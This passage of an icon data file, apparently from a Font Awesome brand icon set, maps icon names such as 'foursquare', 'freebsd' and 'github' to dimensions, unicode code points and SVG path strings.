	"fort-awesome-alt": [512, 512, [], "f3a3", "M208 237.4h-22.2c-2.1 0-3.7 1.6-3.7 3.7v51.7c0 2.1 1.6 3.7 3.7 3.7H208c2.1 0 3.7-1.6 3.7-3.7v-51.7c0-2.1-1.6-3.7-3.7-3.7zm118.2 0H304c-2.1 0-3.7 1.6-3.7 3.7v51.7c0 2.1 1.6 3.7 3.7 3.7h22.2c2.1 0 3.7-1.6 3.7-3.7v-51.7c-.1-2.1-1.7-3.7-3.7-3.7zm132-125.1c-2.3-3.2-4.6-6.4-7.1-9.5-9.8-12.5-20.8-24-32.8-34.4-4.5-3.9-9.1-7.6-13.9-11.2-1.6-1.2-3.2-2.3-4.8-3.5C372 34.1 340.3 20 306 13c-16.2-3.3-32.9-5-50-5s-33.9 1.7-50 5c-34.3 7.1-66 21.2-93.3 40.8-1.6 1.1-3.2 2.3-4.8 3.5-4.8 3.6-9.4 7.3-13.9 11.2-3 2.6-5.9 5.3-8.8 8s-5.7 5.5-8.4 8.4c-5.5 5.7-10.7 11.8-15.6 18-2.4 3.1-4.8 6.3-7.1 9.5C25.2 153 8.3 202.5 8.3 256c0 2 .1 4 .1 6 .1.7.1 1.3.1 2 .1 1.3.1 2.7.2 4 0 .8.1 1.5.1 2.3 0 1.3.1 2.5.2 3.7.1.8.1 1.6.2 2.4.1 1.1.2 2.3.3 3.5 0 .8.1 1.6.2 2.4.1 1.2.3 2.4.4 3.6.1.8.2 1.5.3 2.3.1 1.3.3 2.6.5 3.9.1.6.2 1.3.3 1.9l.9 5.7c.1.6.2 1.1.3 1.7.3 1.3.5 2.7.8 4 .2.8.3 1.6.5 2.4.2 1 .5 2.1.7 3.2.2.9.4 1.7.6 2.6.2 1 .4 2 .7 3 .2.9.5 1.8.7 2.7.3 1 .5 1.9.8 2.9.3.9.5 1.8.8 2.7.2.9.5 1.9.8 2.8s.5 1.8.8 2.7c.3 1 .6 1.9.9 2.8.6 1.6 1.1 3.3 1.7 4.9.4 1 .7 1.9 1 2.8.3 1 .7 2 1.1 3 .3.8.6 1.5.9 2.3l1.2 3c.3.7.6 1.5.9 2.2.4 1 .9 2 1.3 3l.9 2.1c.5 1 .9 2 1.4 3 .3.7.6 1.3.9 2 .5 1 1 2.1 1.5 3.1.2.6.5 1.1.8 1.7.6 1.1 1.1 2.2 1.7 3.3.1.2.2.3.3.5 2.2 4.1 4.4 8.2 6.8 12.2.2.4.5.8.7 1.2.7 1.1 1.3 2.2 2 3.3.3.5.6.9.9 1.4.6 1.1 1.3 2.1 2 3.2.3.5.6.9.9 1.4.7 1.1 1.4 2.1 2.1 3.2.2.4.5.8.8 1.2.7 1.1 1.5 2.2 2.3 3.3.2.2.3.5.5.7 37.5 51.7 94.4 88.5 160 99.4.9.1 1.7.3 2.6.4 1 .2 2.1.4 3.1.5s1.9.3 2.8.4c1 .2 2 .3 3 .4.9.1 1.9.2 2.9.3s1.9.2 2.9.3 2.1.2 3.1.3c.9.1 1.8.1 2.7.2 1.1.1 2.3.1 3.4.2.8 0 1.7.1 2.5.1 1.3 0 2.6.1 3.9.1.7.1 1.4.1 2.1.1 2 .1 4 .1 6 .1s4-.1 6-.1c.7 0 1.4-.1 2.1-.1 1.3 0 2.6 0 3.9-.1.8 0 1.7-.1 2.5-.1 1.1-.1 2.3-.1 3.4-.2.9 0 1.8-.1 2.7-.2 1-.1 2.1-.2 3.1-.3s1.9-.2 2.9-.3c.9-.1 1.9-.2 2.9-.3s2-.3 3-.4 1.9-.3 2.8-.4c1-.2 2.1-.3 3.1-.5.9-.1 1.7-.3 2.6-.4 65.6-11 122.5-47.7 160.1-102.4.2-.2.3-.5.5-.7.8-1.1 1.5-2.2 2.3-3.3.2-.4.5-.8.8-1.2.7-1.1 1.4-2.1 2.1-3.2.3-.5.6-.9.9-1.4.6-1.1 1.3-2.1 2-3.2.3-.5.6-.9.9-1.4.7-1.1 1.3-2.2 2-3.3.2-.4.5-.8.7-1.2 2.4-4 4.6-8.1 6.8-12.2.1-.2.2-.3.3-.5.6-1.1 1.1-2.2 1.7-3.3.2-.6.5-1.1.8-1.7.5-1 1-2.1 1.5-3.1.3-.7.6-1.3.9-2 .5-1 1-2 1.4-3l.9-2.1c.5-1 .9-2 1.3-3 .3-.7.6-1.5.9-2.2l1.2-3c.3-.8.6-1.5.9-2.3.4-1 .7-2 1.1-3s.7-1.9 1-2.8c.6-1.6 1.2-3.3 1.7-4.9.3-1 .6-1.9.9-2.8s.5-1.8.8-2.7c.2-.9.5-1.9.8-2.8s.6-1.8.8-2.7c.3-1 .5-1.9.8-2.9.2-.9.5-1.8.7-2.7.2-1 .5-2 .7-3 .2-.9.4-1.7.6-2.6.2-1 .5-2.1.7-3.2.2-.8.3-1.6.5-2.4.3-1.3.6-2.7.8-4 .1-.6.2-1.1.3-1.7l.9-5.7c.1-.6.2-1.3.3-1.9.1-1.3.3-2.6.5-3.9.1-.8.2-1.5.3-2.3.1-1.2.3-2.4.4-3.6 0-.8.1-1.6.2-2.4.1-1.1.2-2.3.3-3.5.1-.8.1-1.6.2-2.4.1 1.7.1.5.2-.7 0-.8.1-1.5.1-2.3.1-1.3.2-2.7.2-4 .1-.7.1-1.3.1-2 .1-2 .1-4 .1-6 0-53.5-16.9-103-45.8-143.7zM448 371.5c-9.4 15.5-20.6 29.9-33.6 42.9-20.6 20.6-44.5 36.7-71.2 48-13.9 5.8-28.2 10.3-42.9 13.2v-75.8c0-58.6-88.6-58.6-88.6 0v75.8c-14.7-2.9-29-7.3-42.9-13.2-26.7-11.3-50.6-27.4-71.2-48-13-13-24.2-27.4-33.6-42.9v-71.3c0-2.1 1.6-3.7 3.7-3.7h22.1c2.1 0 3.7 1.6 3.7 3.7V326h29.6V182c0-2.1 1.6-3.7 3.7-3.7h22.1c2.1 0 3.7 1.6 3.7 3.7v25.9h29.5V182c0-2.1 1.6-3.7 3.7-3.7H208c2.1 0 3.7 1.6 3.7 3.7v25.9h29.5V182c0-4.8 6.5-3.7 9.5-3.7V88.1c-4.4-2-7.4-6.7-7.4-11.5 0-16.8 25.4-16.8 25.4 0 0 4.8-3 9.4-7.4 11.5V92c6.3-1.4 12.7-2.3 19.2-2.3 9.4 0 18.4 3.5 26.3 3.5 7.2 0 15.2-3.5 19.4-3.5 2.1 0 3.7 1.6 3.7 3.7v48.4c0 5.6-18.7 6.5-22.4 6.5-8.6 0-16.6-3.5-25.4-3.5-7 0-14.1 1.2-20.8 2.8v30.7c3 0 9.5-1.1 9.5 3.7v25.9h29.5V182c0-2.1 1.6-3.7 3.7-3.7h22.2c2.1 0 3.7 1.6 3.7 3.7v25.9h29.5V182c0-2.1 1.6-3.7 3.7-3.7h22.1c2.1 0 3.7 1.6 3.7 3.7v144h29.5v-25.8c0-2.1 1.6-3.7 3.7-3.7h22.2c2.1 0 3.7 1.6 3.7 3.7z"],
	"forumbee": [448, 512, [], "f211", "M5.8 309.7C2 292.7 0 275.5 0 258.3 0 135 99.8 35 223.1 35c16.6 0 33.3 2 49.3 5.5C149 87.5 51.9 186 5.8 309.7zm392.9-189.2C385 103 369 87.8 350.9 75.2c-149.6 44.3-266.3 162.1-309.7 312 12.5 18.1 28 35.6 45.2 49 43.1-151.3 161.2-271.7 312.3-315.7zm15.8 252.7c15.2-25.1 25.4-53.7 29.5-82.8-79.4 42.9-145 110.6-187.6 190.3 30-4.4 58.9-15.3 84.6-31.3 35 13.1 70.9 24.3 107 33.6-9.3-36.5-20.4-74.5-33.5-109.8zm29.7-145.5c-2.6-19.5-7.9-38.7-15.8-56.8C290.5 216.7 182 327.5 137.1 466c18.1 7.6 37 12.5 56.6 15.2C240 367.1 330.5 274.4 444.2 227.7z"],
	"foursquare": [368, 512, [], "f180", "M323.1 3H49.9C12.4 3 0 31.3 0 49.1v433.8c0 20.3 12.1 27.7 18.2 30.1 6.2 2.5 22.8 4.6 32.9-7.1C180 356.5 182.2 354 182.2 354c3.1-3.4 3.4-3.1 6.8-3.1h83.4c35.1 0 40.6-25.2 44.3-39.7l48.6-243C373.8 25.8 363.1 3 323.1 3zm-16.3 73.8l-11.4 59.7c-1.2 6.5-9.5 13.2-16.9 13.2H172.1c-12 0-20.6 8.3-20.6 20.3v13c0 12 8.6 20.6 20.6 20.6h90.4c8.3 0 16.6 9.2 14.8 18.2-1.8 8.9-10.5 53.8-11.4 58.8-.9 4.9-6.8 13.5-16.9 13.5h-73.5c-13.5 0-17.2 1.8-26.5 12.6 0 0-8.9 11.4-89.5 108.3-.9.9-1.8.6-1.8-.3V75.9c0-7.7 6.8-16.6 16.6-16.6h219c8.2 0 15.6 7.7 13.5 17.5z"],
	"free-code-camp": [576, 512, [], "f2c5", "M97.22,96.21c10.36-10.65,16-17.12,16-21.9,0-2.76-1.92-5.51-3.83-7.42A14.81,14.81,0,0,0,101,64.05c-8.48,0-20.92,8.79-35.84,25.69C23.68,137,2.51,182.81,3.37,250.34s17.47,117,54.06,161.87C76.22,435.86,90.62,448,100.9,448a13.55,13.55,0,0,0,8.37-3.84c1.91-2.76,3.81-5.63,3.81-8.38,0-5.63-3.86-12.2-13.2-20.55-44.45-42.33-67.32-97-67.48-165C32.25,188.8,54,137.83,97.22,96.21ZM239.47,420.07c.58.37.91.55.91.55Zm93.79.55.17-.13C333.24,420.62,333.17,420.67,333.26,420.62Zm3.13-158.18c-16.24-4.15,50.41-82.89-68.05-177.17,0,0,15.54,49.38-62.83,159.57-74.27,104.35,23.46,168.73,34,175.23-6.73-4.35-47.4-35.7,9.55-128.64,11-18.3,25.53-34.87,43.5-72.16,0,0,15.91,22.45,7.6,71.13C287.7,364,354,342.91,355,343.94c22.75,26.78-17.72,73.51-21.58,76.55,5.49-3.65,117.71-78,33-188.1C360.43,238.4,352.62,266.59,336.39,262.44ZM510.88,89.69C496,72.79,483.52,64,475,64a14.81,14.81,0,0,0-8.39,2.84c-1.91,1.91-3.83,4.66-3.83,7.42,0,4.78,5.6,11.26,16,21.9,43.23,41.61,65,92.59,64.82,154.06-.16,68-23,122.63-67.48,165-9.34,8.35-13.18,14.92-13.2,20.55,0,2.75,1.9,5.62,3.81,8.38A13.61,13.61,0,0,0,475.1,448c10.28,0,24.68-12.13,43.47-35.79,36.59-44.85,53.14-94.38,54.06-161.87S552.32,137,510.88,89.69Z"],
	"freebsd": [448, 512, [], "f3a4", "M303.7 96.2c11.1-11.1 115.5-77 139.2-53.2 23.7 23.7-42.1 128.1-53.2 139.2-11.1 11.1-39.4.9-63.1-22.9-23.8-23.7-34.1-52-22.9-63.1zM109.9 68.1C73.6 47.5 22 24.6 5.6 41.1c-16.6 16.6 7.1 69.4 27.9 105.7 18.5-32.2 44.8-59.3 76.4-78.7zM406.7 174c3.3 11.3 2.7 20.7-2.7 26.1-20.3 20.3-87.5-27-109.3-70.1-18-32.3-11.1-53.4 14.9-48.7 5.7-3.6 12.3-7.6 19.6-11.6-29.8-15.5-63.6-24.3-99.5-24.3-119.1 0-215.6 96.5-215.6 215.6 0 119 96.5 215.6 215.6 215.6S445.3 380.1 445.3 261c0-38.4-10.1-74.5-27.7-105.8-3.9 7-7.6 13.3-10.9 18.8z"],
	"fulcrum": [320, 512, [], "f50b", "M95.75 164.14l-35.38 43.55L25 164.14l35.38-43.55zM144.23 0l-20.54 198.18L72.72 256l51 57.82L144.23 512V300.89L103.15 256l41.08-44.89zm79.67 164.14l35.38 43.55 35.38-43.55-35.38-43.55zm-48.48 47L216.5 256l-41.08 44.89V512L196 313.82 247 256l-51-57.82L175.42 0z"],
	"galactic-republic": [496, 512, [], "f50c", "M248 504C111.25 504 0 392.75 0 256S111.25 8 248 8s248 111.25 248 248-111.25 248-248 248zm0-479.47C120.37 24.53 16.53 128.37 16.53 256S120.37 487.47 248 487.47 479.47 383.63 479.47 256 375.63 24.53 248 24.53zm27.62 21.81v24.62a185.933 185.933 0 0 1 83.57 34.54l17.39-17.36c-28.75-22.06-63.3-36.89-100.96-41.8zm-55.37.07c-37.64 4.94-72.16 19.8-100.88 41.85l17.28 17.36h.08c24.07-17.84 52.55-30.06 83.52-34.67V46.41zm12.25 50.17v82.87c-10.04 2.03-19.42 5.94-27.67 11.42l-58.62-58.59-21.93 21.93 58.67 58.67c-5.47 8.23-9.45 17.59-11.47 27.62h-82.9v31h82.9c2.02 10.02 6.01 19.31 11.47 27.54l-58.67 58.69 21.93 21.93 58.62-58.62a77.873 77.873 0 0 0 27.67 11.47v82.9h31v-82.9c10.05-2.03 19.37-6.06 27.62-11.55l58.67 58.69 21.93-21.93-58.67-58.69c5.46-8.23 9.47-17.52 11.5-27.54h82.87v-31h-82.87c-2.02-10.02-6.03-19.38-11.5-27.62l58.67-58.67-21.93-21.93-58.67 58.67c-8.25-5.49-17.57-9.47-27.62-11.5V96.58h-31zm183.24 30.72l-17.36 17.36a186.337 186.337 0 0 1 34.67 83.67h24.62c-4.95-37.69-19.83-72.29-41.93-101.03zm-335.55.13c-22.06 28.72-36.91 63.26-41.85 100.91h24.65c4.6-30.96 16.76-59.45 34.59-83.52l-17.39-17.39zM38.34 283.67c4.92 37.64 19.75 72.18 41.8 100.9l17.36-17.39c-17.81-24.07-29.92-52.57-34.51-83.52H38.34zm394.7 0c-4.61 30.99-16.8 59.5-34.67 83.6l17.36 17.36c22.08-28.74 36.98-63.29 41.93-100.96h-24.62zM136.66 406.38l-17.36 17.36c28.73 22.09 63.3 36.98 100.96 41.93v-24.64c-30.99-4.63-59.53-16.79-83.6-34.65zm222.53.05c-24.09 17.84-52.58 30.08-83.57 34.67v24.57c37.67-4.92 72.21-19.79 100.96-41.85l-17.31-17.39h-.08z"],
	"galactic-senate": [512, 512, [], "f50d", "M249.86 33.48v26.07C236.28 80.17 226 168.14 225.39 274.9c11.74-15.62 19.13-33.33 19.13-48.24v-16.88c-.03-5.32.75-10.53 2.19-15.65.65-2.14 1.39-4.08 2.62-5.82 1.23-1.75 3.43-3.79 6.68-3.79 3.24 0 5.45 2.05 6.68 3.79 1.23 1.75 1.97 3.68 2.62 5.82 1.44 5.12 2.22 10.33 2.19 15.65v16.88c0 14.91 7.39 32.62 19.13 48.24-.63-106.76-10.91-194.73-24.49-215.35V33.48h-12.28zm-26.34 147.77c-9.52 2.15-18.7 5.19-27.46 9.08 8.9 16.12 9.76 32.64 1.71 37.29-8 4.62-21.85-4.23-31.36-19.82-11.58 8.79-21.88 19.32-30.56 31.09 14.73 9.62 22.89 22.92 18.32 30.66-4.54 7.7-20.03 7.14-35.47-.96-5.78 13.25-9.75 27.51-11.65 42.42 9.68.18 18.67 2.38 26.18 6.04 17.78-.3 32.77-1.96 40.49-4.22 5.55-26.35 23.02-48.23 46.32-59.51.73-25.55 1.88-49.67 3.48-72.07zm64.96 0c1.59 22.4 2.75 46.52 3.47 72.07 23.29 11.28 40.77 33.16 46.32 59.51 7.72 2.26 22.71 3.92 40.49 4.22 7.51-3.66 16.5-5.85 26.18-6.04-1.9-14.91-5.86-29.17-11.65-42.42-15.44 8.1-30.93 8.66-35.47.96-4.57-7.74 3.6-21.05 18.32-30.66-8.68-11.77-18.98-22.3-30.56-31.09-9.51 15.59-23.36 24.44-31.36 19.82-8.05-4.65-7.19-21.16 1.71-37.29a147.49 147.49 0 0 0-27.45-9.08zm-32.48 8.6c-3.23 0-5.86 8.81-6.09 19.93h-.05v16.88c0 41.42-49.01 95.04-93.49 95.04-52 0-122.75-1.45-156.37 29.17v2.51c9.42 17.12 20.58 33.17 33.18 47.97C45.7 380.26 84.77 360.4 141.2 360c45.68 1.02 79.03 20.33 90.76 40.87.01.01-.01.04 0 .05 7.67 2.14 15.85 3.23 24.04 3.21 8.19.02 16.37-1.07 24.04-3.21.01-.01-.01-.04 0-.05 11.74-20.54 45.08-39.85 90.76-40.87 56.43.39 95.49 20.26 108.02 41.35 12.6-14.8 23.76-30.86 33.18-47.97v-2.51c-33.61-30.62-104.37-29.17-156.37-29.17-44.48 0-93.49-53.62-93.49-95.04v-16.88h-.05c-.23-11.12-2.86-19.93-6.09-19.93zm0 96.59c22.42 0 40.6 18.18 40.6 40.6s-18.18 40.65-40.6 40.65-40.6-18.23-40.6-40.65c0-22.42 18.18-40.6 40.6-40.6zm0 7.64c-18.19 0-32.96 14.77-32.96 32.96S237.81 360 256 360s32.96-14.77 32.96-32.96-14.77-32.96-32.96-32.96zm0 6.14c14.81 0 26.82 12.01 26.82 26.82s-12.01 26.82-26.82 26.82-26.82-12.01-26.82-26.82 12.01-26.82 26.82-26.82zm-114.8 66.67c-10.19.07-21.6.36-30.5 1.66.43 4.42 1.51 18.63 7.11 29.76 9.11-2.56 18.36-3.9 27.62-3.9 41.28.94 71.48 34.35 78.26 74.47l.11 4.7c10.4 1.91 21.19 2.94 32.21 2.94 11.03 0 21.81-1.02 32.21-2.94l.11-4.7c6.78-40.12 36.98-73.53 78.26-74.47 9.26 0 18.51 1.34 27.62 3.9 5.6-11.13 6.68-25.34 7.11-29.76-8.9-1.3-20.32-1.58-30.5-1.66-18.76.42-35.19 4.17-48.61 9.67-12.54 16.03-29.16 30.03-49.58 33.07-.09.02-.17.04-.27.05-.05.01-.11.04-.16.05-5.24 1.07-10.63 1.6-16.19 1.6-5.55 0-10.95-.53-16.19-1.6-.05-.01-.11-.04-.16-.05-.1-.02-.17-.04-.27-.05-20.42-3.03-37.03-17.04-49.58-33.07-13.42-5.49-29.86-9.25-48.61-9.67z"],
	"get-pocket": [448, 512, [], "f265", "M407.6 64h-367C18.5 64 0 82.5 0 104.6v135.2C0 364.5 99.7 464 224.2 464c124 0 223.8-99.5 223.8-224.2V104.6c0-22.4-17.7-40.6-40.4-40.6zm-162 268.5c-12.4 11.8-31.4 11.1-42.4 0C89.5 223.6 88.3 227.4 88.3 209.3c0-16.9 13.8-30.7 30.7-30.7 17 0 16.1 3.8 105.2 89.3 90.6-86.9 88.6-89.3 105.5-89.3 16.9 0 30.7 13.8 30.7 30.7 0 17.8-2.9 15.7-114.8 123.2z"],
	"gg": [512, 512, [], "f260", "M179.2 230.4l102.4 102.4-102.4 102.4L0 256 179.2 76.8l44.8 44.8-25.6 25.6-19.2-19.2-128 128 128 128 51.5-51.5-77.1-76.5 25.6-25.6zM332.8 76.8L230.4 179.2l102.4 102.4 25.6-25.6-77.1-76.5 51.5-51.5 128 128-128 128-19.2-19.2-25.6 25.6 44.8 44.8L512 256 332.8 76.8z"],
	"gg-circle": [512, 512, [], "f261", "M257 8C120 8 9 119 9 256s111 248 248 248 248-111 248-248S394 8 257 8zm-49.5 374.8L81.8 257.1l125.7-125.7 35.2 35.4-24.2 24.2-11.1-11.1-77.2 77.2 77.2 77.2 26.6-26.6-53.1-52.9 24.4-24.4 77.2 77.2-75 75.2zm99-2.2l-35.2-35.2 24.1-24.4 11.1 11.1 77.2-77.2-77.2-77.2-26.5 26.5 53.1 52.9-24.4 24.4-77.2-77.2 75-75L432.2 255 306.5 380.6z"],
	"git": [512, 512, [], "f1d3", "M216.29 158.39H137C97 147.9 6.51 150.63 6.51 233.18c0 30.09 15 51.23 35 61-25.1 23-37 33.85-37 49.21 0 11 4.47 21.14 17.89 26.81C8.13 383.61 0 393.35 0 411.65c0 32.11 28.05 50.82 101.63 50.82 70.75 0 111.79-26.42 111.79-73.18 0-58.66-45.16-56.5-151.63-63l13.43-21.55c27.27 7.58 118.7 10 118.7-67.89 0-18.7-7.73-31.71-15-41.07l37.41-2.84zm-63.42 241.9c0 32.06-104.89 32.1-104.89 2.43 0-8.14 5.27-15 10.57-21.54 77.71 5.3 94.32 3.37 94.32 19.11zm-50.81-134.58c-52.8 0-50.46-71.16 1.2-71.16 49.54 0 50.82 71.16-1.2 71.16zm133.3 100.51v-32.1c26.75-3.66 27.24-2 27.24-11V203.61c0-8.5-2.05-7.38-27.24-16.26l4.47-32.92H324v168.71c0 6.51.4 7.32 6.51 8.14l20.73 2.84v32.1zm52.45-244.31c-23.17 0-36.59-13.43-36.59-36.61s13.42-35.77 36.59-35.77c23.58 0 37 12.62 37 35.77s-13.42 36.61-37 36.61zM512 350.46c-17.49 8.53-43.1 16.26-66.28 16.26-48.38 0-66.67-19.5-66.67-65.46V194.75c0-5.42 1.05-4.06-31.71-4.06V154.5c35.78-4.07 50-22 54.47-66.27h38.63c0 65.83-1.34 61.81 3.26 61.81H501v40.65h-60.56v97.15c0 6.92-4.92 51.41 60.57 26.84z"],
	"git-alt": [448, 512, [], "f841", "M439.55 236.05L244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z"],
	"git-square": [448, 512, [], "f1d2", "M100.59 334.24c48.57 3.31 58.95 2.11 58.95 11.94 0 20-65.55 20.06-65.55 1.52.01-5.09 3.29-9.4 6.6-13.46zm27.95-116.64c-32.29 0-33.75 44.47-.75 44.47 32.51 0 31.71-44.47.75-44.47zM448 80v352a48 48 0 0 1-48 48H48a48 48 0 0 1-48-48V80a48 48 0 0 1 48-48h352a48 48 0 0 1 48 48zm-227 69.31c0 14.49 8.38 22.88 22.86 22.88 14.74 0 23.13-8.39 23.13-22.88S258.62 127 243.88 127c-14.48 0-22.88 7.84-22.88 22.31zM199.18 195h-49.55c-25-6.55-81.56-4.85-81.56 46.75 0 18.8 9.4 32 21.85 38.11C74.23 294.23 66.8 301 66.8 310.6c0 6.87 2.79 13.22 11.18 16.76-8.9 8.4-14 14.48-14 25.92C64 373.35 81.53 385 127.52 385c44.22 0 69.87-16.51 69.87-45.73 0-36.67-28.23-35.32-94.77-39.38l8.38-13.43c17 4.74 74.19 6.23 74.19-42.43 0-11.69-4.83-19.82-9.4-25.67l23.38-1.78zm84.34 109.84l-13-1.78c-3.82-.51-4.07-1-4.07-5.09V192.52h-52.6l-2.79 20.57c15.75 5.55 17 4.86 17 10.17V298c0 5.62-.31 4.58-17 6.87v20.06h72.42zM384 315l-6.87-22.37c-40.93 15.37-37.85-12.41-37.85-16.73v-60.72h37.85v-25.41h-35.82c-2.87 0-2 2.52-2-38.63h-24.18c-2.79 27.7-11.68 38.88-34 41.42v22.62c20.47 0 19.82-.85 19.82 2.54v66.57c0 28.72 11.43 40.91 41.67 40.91 14.45 0 30.45-4.83 41.38-10.2z"],
	"github": [496, 512, [], "f09b", "M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6zm-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3zm44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9zM244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8zM97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1zm-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7zm32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1zm-11.4-14.7c-1.6 1-1.6 3.6 0 5.9 1.6 2.3 4.3 3.3 5.6 2.3 1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2z"],
	"github-alt": [480, 512, [], "f113", "M186.1 328.7c0 20.9-10.9 55.1-36.7 55.1s-36.7-34.2-36.7-55.1 10.9-55.1 36.7-55.1 36.7 34.2 36.7 55.1zM480 278.2c0 31.9-3.2 65.7-17.5 95-37.9 76.6-142.1 74.8-216.7 74.8-75.8 0-186.2 2.7-225.6-74.8-14.6-29-20.2-63.1-20.2-95 0-41.9 13.9-81.5 41.5-113.6-5.2-15.8-7.7-32.4-7.7-48.8 0-21.5 4.9-32.3 14.6-51.8 45.3 0 74.3 9 108.8 36 29-6.9 58.8-10 88.7-10 27 0 54.2 2.9 80.4 9.2 34-26.7 63-35.2 107.8-35.2 9.8 19.5 14.6 30.3 14.6 51.8 0 16.4-2.6 32.7-7.7 48.2 27.5 32.4 39 72.3 39 114.2zm-64.3 50.5c0-43.9-26.7-82.6-73.5-82.6-18.9 0-37 3.4-56 6-14.9 2.3-29.8 3.2-45.1 3.2-15.2 0-30.1-.9-45.1-3.2-18.7-2.6-37-6-56-6-46.8 0-73.5 38.7-73.5 82.6 0 87.8 80.4 101.3 150.4 101.3h48.2c70.3 0 150.6-13.4 150.6-101.3zm-82.6-55.1c-25.8 0-36.7 34.2-36.7 55.1s10.9 55.1 36.7 55.1 36.7-34.2 36.7-55.1-10.9-55.1-36.7-55.1z"],
	"github-square": [448, 512, [], "f092", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM277.3 415.7c-8.4 1.5-11.5-3.7-11.5-8 0-5.4.2-33 .2-55.3 0-15.6-5.2-25.5-11.3-30.7 37-4.1 76-9.2 76-73.1 0-18.2-6.5-27.3-17.1-39 1.7-4.3 7.4-22-1.7-45-13.9-4.3-45.7 17.9-45.7 17.9-13.2-3.7-27.5-5.6-41.6-5.6-14.1 0-28.4 1.9-41.6 5.6 0 0-31.8-22.2-45.7-17.9-9.1 22.9-3.5 40.6-1.7 45-10.6 11.7-15.6 20.8-15.6 39 0 63.6 37.3 69 74.3 73.1-4.8 4.3-9.1 11.7-10.6 22.3-9.5 4.3-33.8 11.7-48.3-13.9-9.1-15.8-25.5-17.1-25.5-17.1-16.2-.2-1.1 10.2-1.1 10.2 10.8 5 18.4 24.2 18.4 24.2 9.7 29.7 56.1 19.7 56.1 19.7 0 13.9.2 36.5.2 40.6 0 4.3-3 9.5-11.5 8-66-22.1-112.2-84.9-112.2-158.3 0-91.8 70.2-161.5 162-161.5S388 165.6 388 257.4c.1 73.4-44.7 136.3-110.7 158.3zm-98.1-61.1c-1.9.4-3.7-.4-3.9-1.7-.2-1.5 1.1-2.8 3-3.2 1.9-.2 3.7.6 3.9 1.9.3 1.3-1 2.6-3 3zm-9.5-.9c0 1.3-1.5 2.4-3.5 2.4-2.2.2-3.7-.9-3.7-2.4 0-1.3 1.5-2.4 3.5-2.4 1.9-.2 3.7.9 3.7 2.4zm-13.7-1.1c-.4 1.3-2.4 1.9-4.1 1.3-1.9-.4-3.2-1.9-2.8-3.2.4-1.3 2.4-1.9 4.1-1.5 2 .6 3.3 2.1 2.8 3.4zm-12.3-5.4c-.9 1.1-2.8.9-4.3-.6-1.5-1.3-1.9-3.2-.9-4.1.9-1.1 2.8-.9 4.3.6 1.3 1.3 1.8 3.3.9 4.1zm-9.1-9.1c-.9.6-2.6 0-3.7-1.5s-1.1-3.2 0-3.9c1.1-.9 2.8-.2 3.7 1.3 1.1 1.5 1.1 3.3 0 4.1zm-6.5-9.7c-.9.9-2.4.4-3.5-.6-1.1-1.3-1.3-2.8-.4-3.5.9-.9 2.4-.4 3.5.6 1.1 1.3 1.3 2.8.4 3.5zm-6.7-7.4c-.4.9-1.7 1.1-2.8.4-1.3-.6-1.9-1.7-1.5-2.6.4-.6 1.5-.9 2.8-.4 1.3.7 1.9 1.8 1.5 2.6z"],
